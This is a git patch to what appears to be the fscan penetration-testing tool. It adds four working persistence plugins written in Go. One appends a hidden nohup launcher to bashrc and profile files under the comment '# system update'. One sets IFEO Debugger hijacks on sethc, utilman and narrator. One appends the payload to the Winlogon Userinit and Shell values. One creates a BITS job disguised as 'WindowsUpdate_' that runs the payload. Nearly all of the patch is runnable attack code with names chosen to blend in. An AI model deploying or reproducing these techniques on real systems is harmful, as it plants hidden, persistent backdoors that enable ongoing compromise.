From a42f074b0071f02645760b99c18b0f0b2397fa7e Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Fri, 15 May 2026 23:48:30 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20=E6=96=B0=E5=A2=9E=204=20=E7=A7=8D?= =?UTF-8?q?=E6=8C=81=E4=B9=85=E5=8C=96=E6=8F=92=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - winifeo: IFEO 映像劫持 (sethc/utilman/narrator) - winbits: BITS 后台任务持久化,通过 GUID 操作避免同名冲突 - winlogon: Winlogon Userinit/Shell 追加 - bashrc: Linux bashrc/profile 注入 --- common/i18n/locales/en.yaml | 16 ++++++ common/i18n/locales/zh.yaml | 16 ++++++ plugins/local/bashrc.go | 105 ++++++++++++++++++++++++++++++++++++ plugins/local/winbits.go | 99 ++++++++++++++++++++++++++++++++++ plugins/local/winifeo.go | 76 ++++++++++++++++++++++++++ plugins/local/winlogon.go | 75 ++++++++++++++++++++++++++ 6 files changed, 387 insertions(+) create mode 100644 plugins/local/bashrc.go create mode 100644 plugins/local/winbits.go create mode 100644 plugins/local/winifeo.go create mode 100644 plugins/local/winlogon.go diff --git a/common/i18n/locales/en.yaml b/common/i18n/locales/en.yaml index fb98261..417acbd 100644 --- a/common/i18n/locales/en.yaml +++ b/common/i18n/locales/en.yaml @@ -591,6 +591,22 @@ forwardshell_client_connected: forwardshell_read_failed: other: "Failed to read client command: {{.Arg1}}" +# IFEO image hijacking +winifeo_success: + other: "IFEO image hijacking completed: {{.Arg1}} targets" + +# BITS persistence +winbits_success: + other: "BITS persistence completed: {{.Arg1}}" + +# Winlogon persistence +winlogon_success: + other: "Winlogon persistence completed: {{.Arg1}} entries" + +# Bashrc injection +bashrc_success: + other: "Bashrc injection completed: {{.Arg1}} files" + # Windows startup folder winstartup_success: other: "Windows startup folder persistence completed: {{.Arg1}} methods" diff --git a/common/i18n/locales/zh.yaml b/common/i18n/locales/zh.yaml index f8e118a..57a2c04 100644 --- a/common/i18n/locales/zh.yaml +++ b/common/i18n/locales/zh.yaml @@ -590,6 +590,22 @@ forwardshell_client_connected: forwardshell_read_failed: other: "读取客户端命令失败: {{.Arg1}}" +# IFEO映像劫持 +winifeo_success: + other: "IFEO映像劫持完成: {{.Arg1}}个目标" + +# BITS持久化 +winbits_success: + other: "BITS持久化完成: {{.Arg1}}" + +# Winlogon持久化 +winlogon_success: + other: "Winlogon持久化完成: {{.Arg1}}个项目" + +# Bashrc注入 +bashrc_success: + other: "Bashrc注入完成: {{.Arg1}}个文件" + # Windows启动文件夹 winstartup_success: other: "Windows启动文件夹持久化完成: {{.Arg1}}个方法" diff --git a/plugins/local/bashrc.go b/plugins/local/bashrc.go new file mode 100644 index 0000000..2d60374 --- /dev/null +++ b/plugins/local/bashrc.go @@ -0,0 +1,105 @@ +//go:build (plugin_bashrc || !plugin_selective) && !windows && !no_local + +package local + +import ( + "context" + "fmt" + "os" + "os/user" + "path/filepath" + "strings" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" + "github.com/shadow1ng/fscan/plugins" +) + +type BashRCPlugin struct { + plugins.BasePlugin +} + +func NewBashRCPlugin() *BashRCPlugin { + return &BashRCPlugin{BasePlugin: plugins.NewBasePlugin("bashrc")} +} + +func (p *BashRCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + pePath := session.Config.PersistenceTargetFile + if pePath == "" { + return &plugins.Result{Success: false, Error: fmt.Errorf("未指定持久化文件,使用 -persistence-file 参数")} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("文件不存在: %s", pePath)} + } + + absPath, _ := filepath.Abs(pePath) + payload := fmt.Sprintf("\n(nohup %s &>/dev/null &) # system update\n", absPath) + + targets := []struct { + path string + desc string + }{ + {filepath.Join(homeDir(), ".bashrc"), "~/.bashrc"}, + {filepath.Join(homeDir(), ".profile"), "~/.profile"}, + } + + if os.Getuid() == 0 { + targets = append(targets, + struct{ path, desc string }{"/etc/profile", "/etc/profile"}, + struct{ path, desc string }{"/etc/bash.bashrc", "/etc/bash.bashrc"}, + ) + } + + var output strings.Builder + var successCount int + + for _, t := range targets { + if _, err := os.Stat(t.path); err != nil { + continue + } + data, err := os.ReadFile(t.path) + if err != nil { + continue + } + if strings.Contains(string(data), absPath) { + output.WriteString(fmt.Sprintf("[跳过] %s: 已存在\n", t.desc)) + continue + } + f, err := os.OpenFile(t.path, os.O_APPEND|os.O_WRONLY, 0644) + if err != nil { + output.WriteString(fmt.Sprintf("[失败] %s: %v\n", t.desc, err)) + continue + } + _, err = f.WriteString(payload) + f.Close() + if err != nil { + output.WriteString(fmt.Sprintf("[失败] %s: %v\n", t.desc, err)) + continue + } + output.WriteString(fmt.Sprintf("[成功] %s\n", t.desc)) + successCount++ + } + + if successCount > 0 { + common.LogSuccess(i18n.Tr("bashrc_success", successCount)) + } + + return &plugins.Result{ + Success: successCount > 0, + Type: plugins.ResultTypeService, + Output: output.String(), + } +} + +func homeDir() string { + if u, err := user.Current(); err == nil { + return u.HomeDir + } + return os.Getenv("HOME") +} + +func init() { + RegisterLocalPlugin("bashrc", func() Plugin { + return NewBashRCPlugin() + }) +} diff --git a/plugins/local/winbits.go b/plugins/local/winbits.go new file mode 100644 index 0000000..54a6222 --- /dev/null +++ b/plugins/local/winbits.go @@ -0,0 +1,99 @@ +//go:build (plugin_winbits || !plugin_selective) && windows && !no_local + +package local + +import ( + "context" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" + "github.com/shadow1ng/fscan/plugins" +) + +type WinBITSPlugin struct { + plugins.BasePlugin +} + +func NewWinBITSPlugin() *WinBITSPlugin { + return &WinBITSPlugin{BasePlugin: plugins.NewBasePlugin("winbits")} +} + +func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + pePath := session.Config.WinPEFile + if pePath == "" { + return &plugins.Result{Success: false, Error: fmt.Errorf("未指定PE文件,使用 -win-pe 参数")} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("PE文件不存在: %s", pePath)} + } + + absPath, _ := filepath.Abs(pePath) + baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) + jobName := fmt.Sprintf("WindowsUpdate_%s", baseName) + + var output strings.Builder + + // 创建任务并提取 GUID + out, err := exec.Command("bitsadmin", "/create", "/download", jobName).CombinedOutput() + if err != nil { + output.WriteString(fmt.Sprintf("[失败] 创建任务: %s\n", strings.TrimSpace(string(out)))) + return &plugins.Result{Success: false, Output: output.String()} + } + + guid := "" + for _, line := range strings.Split(string(out), "\n") { + if idx := strings.Index(line, "{"); idx != -1 { + if end := strings.Index(line[idx:], "}"); end != -1 { + guid = line[idx : idx+end+1] + break + } + } + } + if guid == "" { + output.WriteString("[失败] 无法提取任务 GUID\n") + return &plugins.Result{Success: false, Output: output.String()} + } + output.WriteString(fmt.Sprintf("[成功] 创建任务: %s (%s)\n", jobName, guid)) + + steps := []struct { + desc string + args []string + }{ + {"添加文件", []string{"/addfile", guid, "http://localhost/update", fmt.Sprintf(`%s\%s_tmp`, os.TempDir(), baseName)}}, + {"设置回调", []string{"/SetNotifyCmdLine", guid, absPath, "NUL"}}, + {"设置重试", []string{"/SetMinRetryDelay", guid, "60"}}, + {"恢复任务", []string{"/resume", guid}}, + } + + successCount := 1 + for _, step := range steps { + out, err := exec.Command("bitsadmin", step.args...).CombinedOutput() + if err != nil { + output.WriteString(fmt.Sprintf("[失败] %s: %s\n", step.desc, strings.TrimSpace(string(out)))) + continue + } + output.WriteString(fmt.Sprintf("[成功] %s\n", step.desc)) + successCount++ + } + + if successCount >= 3 { + common.LogSuccess(i18n.Tr("winbits_success", jobName)) + } + + return &plugins.Result{ + Success: successCount >= 3, + Type: plugins.ResultTypeService, + Output: output.String(), + } +} + +func init() { + RegisterLocalPlugin("winbits", func() Plugin { + return NewWinBITSPlugin() + }) +} diff --git a/plugins/local/winifeo.go b/plugins/local/winifeo.go new file mode 100644 index 0000000..f53eef7 --- /dev/null +++ b/plugins/local/winifeo.go @@ -0,0 +1,76 @@ +//go:build (plugin_winifeo || !plugin_selective) && windows && !no_local + +package local + +import ( + "context" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" + "github.com/shadow1ng/fscan/plugins" +) + +type WinIFEOPlugin struct { + plugins.BasePlugin +} + +func NewWinIFEOPlugin() *WinIFEOPlugin { + return &WinIFEOPlugin{BasePlugin: plugins.NewBasePlugin("winifeo")} +} + +func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + pePath := session.Config.WinPEFile + if pePath == "" { + return &plugins.Result{Success: false, Error: fmt.Errorf("未指定PE文件,使用 -win-pe 参数")} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("PE文件不存在: %s", pePath)} + } + + absPath, _ := filepath.Abs(pePath) + + // 劫持目标:不常用但系统存在的程序 + targets := []struct { + exe string + desc string + }{ + {"sethc.exe", "粘滞键 (Shift×5)"}, + {"utilman.exe", "辅助功能 (Win+U)"}, + {"narrator.exe", "讲述人"}, + } + + var output strings.Builder + var successCount int + + for _, t := range targets { + key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t.exe) + out, err := exec.Command("reg", "add", key, "/v", "Debugger", "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput() + if err != nil { + output.WriteString(fmt.Sprintf("[失败] %s: %s\n", t.desc, strings.TrimSpace(string(out)))) + continue + } + output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", t.desc, t.exe)) + successCount++ + } + + if successCount > 0 { + common.LogSuccess(i18n.Tr("winifeo_success", successCount)) + } + + return &plugins.Result{ + Success: successCount > 0, + Type: plugins.ResultTypeService, + Output: output.String(), + } +} + +func init() { + RegisterLocalPlugin("winifeo", func() Plugin { + return NewWinIFEOPlugin() + }) +} diff --git a/plugins/local/winlogon.go b/plugins/local/winlogon.go new file mode 100644 index 0000000..7887835 --- /dev/null +++ b/plugins/local/winlogon.go @@ -0,0 +1,75 @@ +//go:build (plugin_winlogon || !plugin_selective) && windows && !no_local + +package local + +import ( + "context" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" + "github.com/shadow1ng/fscan/plugins" +) + +type WinLogonPlugin struct { + plugins.BasePlugin +} + +func NewWinLogonPlugin() *WinLogonPlugin { + return &WinLogonPlugin{BasePlugin: plugins.NewBasePlugin("winlogon")} +} + +func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + pePath := session.Config.WinPEFile + if pePath == "" { + return &plugins.Result{Success: false, Error: fmt.Errorf("未指定PE文件,使用 -win-pe 参数")} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("PE文件不存在: %s", pePath)} + } + + absPath, _ := filepath.Abs(pePath) + key := `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` + + entries := []struct { + name string + value string + desc string + }{ + {"Userinit", fmt.Sprintf(`C:\Windows\system32\userinit.exe,%s`, absPath), "Userinit 追加"}, + {"Shell", fmt.Sprintf(`explorer.exe,%s`, absPath), "Shell 追加"}, + } + + var output strings.Builder + var successCount int + + for _, e := range entries { + out, err := exec.Command("reg", "add", key, "/v", e.name, "/t", "REG_SZ", "/d", e.value, "/f").CombinedOutput() + if err != nil { + output.WriteString(fmt.Sprintf("[失败] %s: %s\n", e.desc, strings.TrimSpace(string(out)))) + continue + } + output.WriteString(fmt.Sprintf("[成功] %s\n", e.desc)) + successCount++ + } + + if successCount > 0 { + common.LogSuccess(i18n.Tr("winlogon_success", successCount)) + } + + return &plugins.Result{ + Success: successCount > 0, + Type: plugins.ResultTypeService, + Output: output.String(), + } +} + +func init() { + RegisterLocalPlugin("winlogon", func() Plugin { + return NewWinLogonPlugin() + }) +}